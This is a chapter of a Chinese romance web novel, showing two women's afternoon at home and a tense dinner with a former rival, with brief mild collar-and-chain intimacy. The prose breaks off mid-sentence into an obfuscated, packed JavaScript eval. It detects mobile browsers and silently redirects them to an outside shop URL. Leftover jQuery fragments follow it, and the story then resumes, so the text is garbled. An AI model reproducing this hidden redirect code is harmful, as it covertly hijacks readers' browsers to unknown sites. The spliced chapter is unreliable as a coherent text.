7. 第 7 章
    这个下午,她们没做什么事,只是依偎在一起,亲吻,拥抱。

    闻玉津的指尖勾着一条银色的细链,末端就系在陈愿脖颈的项圈上,P链的设计,让她每一下勾手,都能带来一次不轻不重的窒息。

    她说小狗,好孩子,好乖。她倚在墙上,靠在床头,坐在沙发里,让陈愿殷殷切切地吻,缠缠绵绵地蹭。

    服侍和被服侍的人选掉了个个,陈愿心甘情愿地半跪在地毯上,去吻她的小腿和膝盖。

    她侍奉闻玉津,像侍奉心上的神。

    何况,也不是没有奖励。

    闻玉津心情大好,竟也有了下厨的兴致。她是个做事尽善尽美的人,有一部影片,主角是个厨子,闻玉津就特意学了三个月的做菜。

    聪明的人做什么都不会太差,尽管学习时间不长,但她的厨艺很好,就算是没做过的菜式,照着菜谱来,也是像模像样。

    她翻了冰箱,打算熬份海鲜粥,再炒个素菜。

    陈愿就在一旁打下手,帮忙挑虾线。她做这个极其在行,手上一捏,一挑,一条长长的虾线就被拽了出来,虾肉还是完整的。

    多亏了早年摆摊练出来的手法。

    刚把虾肉剥好,门铃忽然响了,陈愿微怔,“啊,应该是令仪给我寄的东西。”

    闻玉津笑着夹她一眼,“快去拿吧,别让人久等了,我这儿都弄好了,不用你来帮忙。”

    陈愿迎上她温柔的神色,心里就泛了一点羞,嗯了一声,尾音几乎要飘到天上去。

    送过来的东西不是别的,而是样书。

    上次和霍令仪聚餐,因为着急要回家见闻玉津,陈愿吃过饭就走了,没去出版社,霍令仪便叫了个同城的跑腿,把东西送了过来。

    陈愿洗了手,翻开后细致地看了一遍,装订和排版都没有错误的地方,插图的颜色和位置也是按照她想法定好的。

    拿起手机拍了好几张照片,陈愿先谢过好友,随后登上微博,发了个新帖,顺道把插画集的事情也说了。

    初版只印了三万本,发售时间定在双十二,还能赶上活动大促。

    亲签她自作主张定下了五千份,可以想象又是对手腕的一次重大考验。

    要不是不可能,陈愿真想每本书都写一下。

    她只有这一个爱好,变成事业以后,兴趣也没有削减半分。笔下的世界是她的乐土,任由精神遨游在幻想当中,她真心爱写作。

    家里书房有一个小书架,放的是她出版过的作品,陈愿有一个梦想,希望她能一直写到死去的那天,出版的书籍,可以装满一整个大书架。

    这些都是她存留在这个世上的证明。

    海鲜粥美味无比,陈愿连吃了三大碗,闻玉津要保持身材,只用了一碗就没再继续了,吃过饭还去做瑜伽。

    中途休息的时候,她看了一眼手机,轻轻咦了一声。

    “应念皎说要请我们吃饭。”

    她盘腿坐在瑜伽垫上,紧身的衣服勾勒出曼妙的曲线,腿长手长,好似画里走下来的人。

    一头漆黑浓密的发丝盘起,发根处隐约透着一点红褐色,那是她的本来发色。

    陈愿正抱着笔记本写新书设定,闻言便抬起了头,面上带着些许茫然,“什么饭?”

    “说要为今天的不愉快道歉呢。”

    闻玉津又换了个姿势,手掌扣住脚腕,向前舒展,说话的声音夹杂着一丝莫名的笑意,“阿愿,你想去吗?”

    陈愿更是迷茫,“什么道歉?不懂,姐姐想去吗?”

    闻玉津笑着说:“那就去吧。”

    她的眼眸宛若两汪绿湖,水面平静,不起波澜,任谁也瞧不出里面的心思。

    ——

    应念皎是个很讲究体面的人,她特意约在隐私性极高的私房菜包间,穿着一件浅灰的毛衣和白色阔腿裤,波浪卷发披在肩上,显出成熟女人的气质韵味来。

    等陈愿两人到了以后,也是殷切起身,招呼她们坐下,含笑说道:“我不知道陈小姐的口味,因此只点了几道玉津爱吃的,另外还有一些家常菜和时令海鲜,菜单就在这里,陈小姐有什么忌口吗?我再另添几道。”

    陈愿跟在闻玉津身边,紧挨着她坐下,好似没有主见的一个小挂件,扭着头随意地去看包间的装修摆设,去盯角落的一盆绿色植物。

    听到应念皎的话,才转过眼看她,轻声说道:“我和姐姐吃一样的。”

    应念皎神情不变,道了句好。

    热茶先端上来,她又挨个给两人倒茶,茶汤热气袅袅,味道清香,应念皎点了点杯沿,面带歉意地说:“前两天的事,实在是抱歉。”

    “我们两家素来交好,我出国几年,回来自然要拜访长辈,却不曾想闻姨会把你们也叫过来作陪,还……实在是我的过错。”

    陈愿低头去看桌面垫布上的绣花,专注地像是在看蚂蚁搬家。

    来之前她就已经问过闻玉津了,应念皎在她这里,连普通朋友都不算。

    既然不是姐姐的朋友,又有那样的过往,勉强算得上情敌,陈愿便把应念皎摆在了不喜欢的分类里。

    姐姐说,看在两家的交情上要来吃饭,面子上要过得去。但她却也没什么理由去维持友好态度。

    陈愿不接话,闻玉津就望向应念皎,声音柔和道:“是我妈自作主张,她刚愎自用不是一天两天了,怎么能是你的错呢。”

    说着,她又捏了捏陈愿的手指,后者才抬起头来,仿佛刚刚回神,“嗯嗯。”

    闻玉津唇角的笑意加深些许。

    应念皎依旧歉意满满,“不管怎么样,事情都是因我而起,还是应该道个歉。”

    一双桃花眼柔情似水地瞥了眼闻玉津,又收敛眸光,轻叹着说:“如果因为我影响到你们两个的感情,那就不好了。”

    道歉的话说了两遍,她也不再继续,点到即止,噙着笑问:“说起来,还不知道你们是怎么在一起的呢?我出国太久,实在错过了很多。”

    应念皎将胳膊放在桌上,微微倾身,显出聆听和好奇的姿态来,真像是多年老友未见,询问近况般亲昵。

    闻玉津似乎也很有谈兴,“说起来也是很巧,我大学参加了话剧社,原来的编剧毕业了,元旦汇演还需要新剧本,有人就向我举荐了阿愿,新生里专业第一的好成绩,这样的人才,我怎么能不去邀请呢?”

    “正逢社团纳新的日子,怕她被别的社团抢走,我带着人就冲到她面前去了,一来二去,就熟悉起来。”

    “你当时还吓了一跳呢,是不是?”

    陈愿白皙的耳垂红了红,“是吓了一

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032419|148833||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    跳。”

    朝思暮想,放在心上供奉的人突然来到面前,二话不说,拽着她的手腕就走。她的掌心是热得像火,还是冷得像冰,陈愿已经分不清了,只记得皮肤相触的那一小块,几乎要把她全身的骨头都烫化。

    风扬起闻玉津红褐色的长发,发尾的幽香扫过鼻尖,陈愿同手同脚地走了好长一段路,才发觉自己顺拐。

    闻玉津说什么她也不记得,让她签字,她就签了,稀里糊涂地就加入了话剧社。

    闻玉津还在说当时的场景,声音也陷入回忆中,“那天的太阳真晒,晒出我一身的汗,我去找她时,正好看到文学社的人拿着传单,想要拉她入社,还好我急中生智,凭借大家都是礼德高中毕业的交情,才把人拽了出来。”

    应念皎做出讶然的表情来,“陈小姐也是礼德高中的吗?我们是校友呢,不过我大你几届。”

    “教一班的数学老师,应蓉老师,是我的小姑,你知道她吗?”

    听到这个名字,陈愿总算不是那种状况外的神情,非常认真地看了应念皎一眼,注视着她的双眸,点了下头,“应老师对我很照顾。”

    但她也只是说了一句话,就不再继续开口,一看就能瞧出来,她没有和应念皎聊天的打算。

    陈愿要么看看屋内的陈设,要么就盯着闻玉津,好似这儿没有第三个人似的。

    有一点失礼。

    但应念皎面上看不出丝毫恼意,反而把话题引到她身上,好似那种热场的主持人,不能冷落一个受邀的客人。

    “陈小姐是陈家的人吗?我对圈子里的情况了解得不多,之前没太听过你呢。”

    陈家是停枫市的一个二流世家。

    陈愿摇了下头,“我只是普通人家出身,你没听过是正常的。”

    应念皎捂了下嘴,低声说道:“抱歉,我们同一个高中,我还以为……怪我先入为主了,主要是闻姨她总念叨着,要给玉津找个门当户对的人联姻。这实在是……唉,我以茶代酒,向你赔罪。”

    她端起茶杯,将茶水一饮而尽,面上仍是惭愧的。

    陈愿眨着眼睛,看不出高兴还是不高兴,哦了一声,就没有反应了。

    闻玉津在一旁竟也没开口维护,好似所有的敏锐和爱护都突然消失了,不知道自家爱人正明里暗里地受到人贬低。

    服务生正好送菜上来,她适时哎呀一声,笑意清浅,“是我最爱的白灼菜心,应小姐真是有心了。”

    她夹了一筷子,第一口先送到陈愿碗里,又看向应念皎,“再加一道粉蒸蟹,我记得念皎姐从前最爱这道菜,不知道现在的口味变化没有?”

    陈愿看了她一眼,心里有些纳闷。

    姐姐怎么忽然改了称呼。

    一旁的应念皎对上闻玉津的悠长目光,眼波微颤,又似苦涩,又似感动,垂眸轻声道:“没变,我没变。”

    她沉默地抿着唇,仿佛如果不是这样,就会有一些不能诉诸于口的话要偷偷跑出来。

    而旁边,陈愿已经把菜心吃完,又去看桌上的汤,再看一下闻玉津。

    闻玉津低笑一声,无需言语明说,就亲手盛了汤放到她面前,语气宠溺得过分,“小馋鬼。”

    她专注地给陈愿夹菜,似乎刚刚向应念皎投去意味深长目光的不是她一样。